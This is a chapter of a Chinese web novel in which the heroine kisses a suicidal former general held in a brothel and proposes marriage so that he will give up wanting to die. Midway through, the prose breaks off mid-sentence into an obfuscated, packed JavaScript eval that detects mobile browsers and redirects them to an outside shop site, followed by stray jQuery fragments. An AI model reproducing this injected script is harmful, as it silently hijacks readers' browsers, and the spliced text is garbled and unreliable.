第23章
沈盈息垂眸,望着地上安静微笑的昳丽少年。
她甚少这般直面他人的苦痛。
更何况还是一位年轻得过分的、日后会登临大道的同仁的。
对待上官慜之,她此时的心境有些复杂。
疑惑,漠然,想伸手拽一把,也想一走了之。
但最终,沈盈息只是站起来,居高临下地对少年道:“你宁愿死,也不想跟我离开吗?”
上官慜之弯起漂亮的眼睛,抬眼都懒得抬,“你宁愿离开,也不想杀死我吗?”
“……你,蝼蚁尚贪生,只要活着,一切都还有希望不是吗?”
闻言,少年像听见了什么天大的笑话,吃吃笑了起来:“啊,希望,你若真以为如此,如何还反问我?大善人沈姑娘,你见我疯魔,不也厌得很,冷声斥过我滚开吗?”
“所以,你究竟在矜持什么假好心?”
说罢,他好像寻着了人生至乐,不住地笑,不住地笑,笑得仰面捂脸,抬起的长颈绷紧,呈现着流畅而优美的线条。
沈盈息静静望着上官慜之,看他笑得颤抖,笑到浑身上下透出一股行将枯木的、接近决堤的灰败和衰艳。
如果不能理解他的痛苦,那么任他痛苦。
堵不住溃坝的水,只好任其畅流了。
少女眼神平和,显现出超然的耐心。
痛苦再痛苦,也有刹那缓解的时候。
沈盈息倒没浪费太多时间,她不到半刻钟就等到了上官慜之的“缓解”。
眼尾通红的少年侧过头,抬起湿濡的眼睫,看着平静的少女,轻声道:“这次倒很不错,没被我吓着。”
沈盈息垂睫,望向上官慜之看似也平静的视线:“上官慜之,我来不是为了被你圈套圈住的,如果是这样,我第一次见你就会如你的愿。”
“那你来想干什么?”少年单臂撑地坐起来,手臂搭在屈起的膝盖上,散开的满头青丝如绸段般遮掩着他的半边脸颊。
沈盈息盯着他那小半张白腻的侧脸,“我最初就让你猜,这种事由我说出来,反而不真。”
过长的眼睫在深邃眼窝处投射着灰色的阴影,少年眨动眼睫,眼窝的阴影如水而动,“我没在京城见过你,听说你还与季谨那个贱人靠得很近,既不愿我遂愿,那么,你是季谨的走狗,我的仇家了?”
沈盈息摇头,“恰恰相反。”
上官慜之无声地笑了下,“那么,你是季谨的仇家了?”
“与他有什么关系。”
少女俯身,柔软的半披乌发从肩头滑落,拂过少年面颊,带来丝丝痒意。
上官慜之蹙眉欲躲开她那头发丝,但还没来得及动作,沈盈息娇嫩的指腹已触上他脸颊,替他慢慢抚开碍眼的长发。
“恰恰相反,”她垂眼与他对视,少年眸光清浅,无刻意装出的疯癫,也无为达目的而自折尊严演出的泪光,一片精明和算计,糅合着世家子的计谋和花楼奴的心机。
“恰恰相反什么?”他勾唇,不动声色盯着她,唇边笑意嘲讽。
按在脸颊的手指忽而改按为拢,少女纤纤五指拢着少年清瘦俊秀的脸颊,在其白皙的皮肤上摩挲一会儿。
眼睫垂落,她望着他的唇半晌,少年神色不明地任她观察,眼中冷意愈甚,他伸手,要推开面前的少女。
不妨少女上身前倾,一阵清浅的香风就此靠近,同时拉到极致的感受,还有那片红润唇瓣如蜻蜓落花般擦过少年唇角时的柔软。
“……”
即便是心机深沉的上官慜之,察觉到唇边触感后,也不可置信了一瞬。
黑眸微睁的少年紧紧盯着已收回手的少女,红唇尚处于僵硬的讽笑状态,他愣怔了一息,反应过来便立即显出恼怒来。
“你敢轻贱我!?”
沈盈息无奈地叹了口气,她蹲下身,安静地看着少年开始怨毒的脸庞,“半年而已,当初在边疆威名赫赫的少将军,如何就变成这幅自轻自贱的样了?”
上官慜之听到那声少将军,简直比听到沈盈息唤他上官慜之时还怔忪。
他倏然抬眸,眼瞳神经质地微缩:“你是谁,我没见过你,你是谁?”
“将军当然没见过我,我也没见过将军。”
“那你……”上官慜之眼瞳有瞬间的涣散,他想起漫天的黄沙,黄沙里如血珠般点在天边的红日。
太遥远了,太遥远。
“你想问,我为什么认识你?”沈盈息伸手,为上官慜之整理了下散开的衣襟,她只瞧了一眼他散开衣襟下的青紫,便又若无其事地收回视线。
“我当然认识,这正与我寻你的目的重合。”
上官慜之抿唇,他的唇是向来冰凉的,但不知是不是被少女那一吻导致的,他竟觉得唇上有余温。
少年狠狠咬了咬下唇,似乎想靠疼痛逼散那点暖意,他狠厉道,“什么目的?”
“与慜之成亲。”
……
……
上官慜之觉着他铁定是被这翠玉楼关得真疯魔了。
少年漆黑的眼瞳霎时间掠起惊涛万丈,但很快又被戾气和怒意给覆盖,可怨怒之后,眼瞳脆弱地颤了下。
他僵木地转向身旁的少女,她鲜活绮丽,说话时也声声入耳,应是活人,还是亡灵,亦或是他疯魔里的幻像?
将视线从沈盈息身上拔开,上官慜之空漠的眼神落向屋内,从桌到椅,从地面到窗棂,一毫一厘,一寸一尺,他缓慢地看着,眼睛黑得不见底,像一双真正的死人的眼。
常人见到他现在的模样,定然要被吓得脊背发寒,白毛汗会像急行军的蚂蚁一样爬遍全身。
沈盈息却只是看着,看了会儿,才理解出上官慜之怪异举措背后的真意。
他是在确认?
他已经陷入了真假不分的境况里,再这样下去,真是离真痴狂不远了。
“上官慜之?上官将军?”
“慜之?”
喊是没有用处的,沈盈息毫不犹豫地一巴掌甩上少年脸颊,清脆利落的巴掌声,声落人醒。
上官慜之缓缓抬手,抚了抚发热的面颊,一双黑眸从桌椅等死物移到少女活艳艳的面容上,“打得开心吗?”
沈盈息讶然了瞬,她是不是还没打醒他。
“不开心?”不过上官慜之似乎也不期待她的回答,她一旦露出有拒却的苗头,即便只是一点讶然,他了然点了点头,“不开心,是因为见到如今的我,很失望罢?”
沈盈息默然,摇了摇头。
见她否认,少年竟露出个令人瞠目的成熟的微笑,他道:“其实不必哄我,我除了生死看不透,其他都还看得清。”
“所以,为什么亲我?”
上官慜之修长的食指点了点唇角,“你对我的亲近像是孩子偷学大人的,并无感情,为什么还能说出要和我成亲的谎话?”
从上官慜之此刻有条不紊的问答里,沈盈息似乎能看见他曾经在沙场上征战杀敌的画面。
他有理智,也有脑子,甚而多智近妖。
沈盈息目移了一瞬。
她不由想到上官慜之修的合欢道,此道又称多情道,道下修士个个熟稔风月,晓通情爱。
上官慜之虽未正式入道,却已有分辨真情假意的敏锐了。
他是分得清。
沈盈息却分不清,她和上官慜之寥寥几面,他却对她露出如此变化多端的性子。
喜怒难辨,善恶难辨,他是真痴还是假狂,他是真脆弱还是假阴狠?
太令人眼花缭乱了。
上官慜之就像是给自己花了无数张皮的画皮妖,一会儿用这张仇人的面对她,一会儿用那张少年的面对她,又邪恶又稚雅,又可怖又可怜。
可兜兜转转,他演得再真假难辨,画皮终归是没骨的死相,支撑他用这死相游荡的,是他求死意志支撑起的骨架。
这骨架如此坚硬,从开始贯穿到现在。
沈盈息捧起少年面庞,定定地看了他半晌,上官慜之回之以看可疑者该有的目光。
“……唔。”
少女便迎着这冰冷的可疑者目光俯下脸庞,温软红唇欺压上少年秾艳薄唇,上官慜之似乎想推开他,但伸出的手被沈盈息见缝插针地牵住,他僵了下,不再激烈反抗。
他不反抗,但立刻反向侵略回去。
他们的吻似乎只是形式上的唇瓣相贴,实质上却是一场战役,他避她追,她收他攻。
彼此间毫不退让,死活都要在咫尺中博个输赢。
气氛愈来愈焦灼,却并非暧昧的登顶,而是欺骗者与亡命徒间博弈的升级。
渐渐地,血腥味从唇畔间弥散开来,而这点血腥气只是引起了更深更狂乱的争夺。
手掌交握,十指交缠,接触的皮肤很快被对方握成湿红一片,少年间的意气与斗争一齐在昏暗的室内迸发。
这时没人再论生死,没人想真假,他们只想让对方认输,让对方输到跪在自己脚下坦诚其所有的筹码。
“咚咚——”
日光涣散,门口陡然炸起敲门声。
开战时的号角无声安静,收兵的鸣鼓却响得震天。
老鸨站在门外敲完门,讨好的笑声追着敲门声钻进屋内:“贵人,奴来给您添热茶。”
时间到了。
“啪”地一声,少年少女卸下所有力气,喘着气互看了一眼,发现彼此眼尾都红得可怜,眼睫一齐湿漉漉的,唇瓣更是又红又肿。
零星的血珠残忍又暧昧地缀在厚润的唇瓣上,欲缀不落,摇摇晃晃如刚学攀爬的幼兽,人人都想上前扶一把,抱一下。
“呵,呵呵哈哈哈哈……”
上官慜之忽而大笑,他笑了半晌,忽而欺过上身,伸手捏住少女下颚,启唇用力地舔下少女唇瓣上的血珠。
沈盈息只感觉像有一只凶残的野兽舔了自己一口,猝不及防,正要反击时,那兽又迅疾地退回了领地。
“……”
“贵人?贵人?”老鸨再次敲了下门,这次的敲门声明显小了许多,透露着敲门人的翼翼小心。
老鸨定然听见了少年的笑声,想起少年平日里凶恶的模样,老鸨瞬时间惊悚非常,生怕里面人出了什么事。
沈盈息不耐地道:“滚开!”
老鸨准备第三次敲门的动作忽地被截停,她讪笑着回应:“欸,欸,贵人这是要留夜?”
沈盈息更为厌烦:“滚!!”
老鸨畏缩地收回手,终于是乖乖地遁走了。
室内再次归剩下两个少年人。
上官慜之眸色深深,视线从少女的唇移到她的眼睛,双臂往后撑着地面,他歪头笑望着她:“再来一次?”
沈盈息翻了个白眼,“你也滚。”
上官慜之舒服地躺回地面,他枕着自己的手臂,望着屋顶房梁,静了下来。
不一会儿,一阵窸窣声传来,少女的体温和她的衫裙落至身侧,她也枕臂望着房梁。
如此寂静了片刻,少女的声音如春风拂入耳:“上官慜之,别想死了,好不好?”
上官慜之没有立即回答,他缓缓眨眼,依旧望着了无趣味的梁木,顿了半晌,才张启薄唇:“不想死,想什么?”
闻言,少女立即活跃起来,她撑臂趴过来,眼睛很亮,口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388261|139650||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
吻很欣喜:“想花想草,想流水和远山,想想街上新出的新奇玩意儿,想淮香楼的新菜品啊……凡间这么大,有好多可想,缘何想不开去死呢?”
上官慜之哦了声,他伸出手指,拨弄着少女垂到眼前的长发,“凡间?好怪的词,这么说你还不是凡人了。”
沈盈息啧了声,从少年手中拽出头发,而后用发尾狠狠甩了下他的脸。
上官慜之侧开脸,很及时地躲开少女的泄愤行为。
她一击不中,颇为不高兴地转过身去了。
余光瞥见沈盈息颇为幼稚的行为,上官慜之的唇角便不由泛起笑弧,他平躺回去,和少女肩挨着肩,脸上的笑意扩大了些许。
平和的室内响起少年含笑的嗓音:“多谢仙子赐教。”
“上官慜之!”
沈盈息唰地转过来,她直起上身,伸手用力地把并肩的少年攘开,“不许再笑!”
上官慜之却忍不住了,他手背搭在眼前,任沈盈息又推又打,哧哧地低声笑起来。
沈盈息打闹一番,望着上官慜之笑时分外少年气的年轻面庞,心中一动,像是看见了一朵正盛开的花。
真是漂亮。
其实这世间漂亮之物极多,沈盈息修道时甚少关注他们,倒是死后她才发现这世界的瑰丽奇胜,很值得探索与珍护的。
此时所遇的上官慜之正似那万千美丽之物之一。
他便不是任务对象,沈盈息偶遇到他,闲情雅致之下也会救护一二。
“别笑了,”少女轻轻地推了推少年,动作不一般的温柔细致。
上官慜之笑容一滞,他将手背摁在眼前,不去看沈盈息的脸。
但他不看,沈盈息却强硬地掰开他的手,然后紧盯着他黑沉的双眸,忽地在他陡然间寂静如渊的眼神下顿了顿。
上官慜之漠然地收回眼神,她迟疑了,她不还是怕他。
还以为有什么不一样……
额间轻柔的抚动忽然戳破了少年的漠然,沈盈息指腹柔软,轻轻拂开了上官慜之额前的乱发。
没了遮掩视线的障碍,沈盈息再次看向上官慜之的双眸,视线温和:“上官慜之,别想死了,与我成亲罢,你无物可思,我便可教你。先从想我开始学,很简单,不是吗?”
上官慜之望着少女。
沈盈息对着他的目光,鼓励地笑道:“对,就是这样,看我,记住我的样子,现在看我很容易想起我。日后我不在身边,你记着我,就可以继续想我了。”
上官慜之无趣地撇开眼。
记着她模样有何难的,莫说日后,就是再过了百年,他也能把她样子拓下来。
他是求死,但却不因无知而死。
大可不必像待愚蠢的孩童一样待他。
再说成亲,她有十五了吗?
他一家死光了,她难道没有爹娘吗?
成亲前要先向女方家里人提亲的,她怎么这个也不知道。
提亲的话……要备些什么?
“上官慜之?”
“……干什么?”少年嗓音恹恹。
沈盈息抿唇,“你不喜欢我?”
为何他都不应她的求亲。
“……”上官慜之咬了咬牙,扭过脸,不说话。
见状,沈盈息露出失望神色,她坐起身,看了看扭脸沉默的少年,跟着默然地起身。
“……你去哪?”
眼见少女身影欺近门口,上官慜之抓紧衣袖,撑起头好似平静地缓声问道。
沈盈息头也不回,手指抚上门框,“我先走了,下次见面,希望你还好好活着。”
说罢,纤细的手指当真要将门页打开了一条缝,木门吱呀声悠长响起。
那拖拉又绵长的门声,如同一根没有丝毫韧性却断不开的细声,啪地一声绷紧了上官慜之的心腔。
他被这牵扯感引得坐起了身子,红唇张启又闭起,但在少女愈拉愈开的房门中,终于顺着那根绳子的牵引出声:“别。”
出声的那时才发觉嗓子有些干涸生涩了,上官慜之喉结微动,“别走。”
沈盈息扶着门框,低眉:“太累了,不玩了,下次再见。”
少女一只脚已踏出门框,上官慜之的呼吸声随少女的脚步被踩断了一拍,他几近同时道:“你现在走我现在就去死!”
事实上,他根本不可能自杀成功。
翠玉楼奉着圣令,将他看得极其严密。
这招太恶心。
恶心得上官慜之瞬时间生起强烈的自厌感,望着少女的双眸浓稠又阴暗,但转瞬间又恢复了一腔清明。
“算了,你要走就……”
“上官慜之!”少女怒气冲冲地折回身,一巴掌把少年另一边脸颊也打红了,她抓着他的肩膀,用力晃了晃,怒骂:“你要是敢死,我就追到地府去再打你十巴掌!”
上官慜之的眼眸瞬时间浮起愕然,他望向少女惊怒的脸庞,“我死,你……地府?”
沈盈息谋虑始终,对上官慜之求死之志的坚定有所见证。
他一直想死,因家族覆灭又因傲骨受辱,他是顶骄傲的人,单口头上劝说定然不见效,不若给他重塑傲骨,免过靠死志撑着苟活。
他不能死。
所以沈盈息决定爱他。
浓烈的爱意到了极致,可以消解欲望,包括对死亡的渴望,不是吗?
沈盈息想,这就跟修炼一样,修为到了极致,就可以瓦解一切威胁。
她向来是修炼的天才。
上官慜之抚上她的脸颊,视线怔惘又阴沉:“别死了,别想死,你自己说的,无物可思,可……思我。”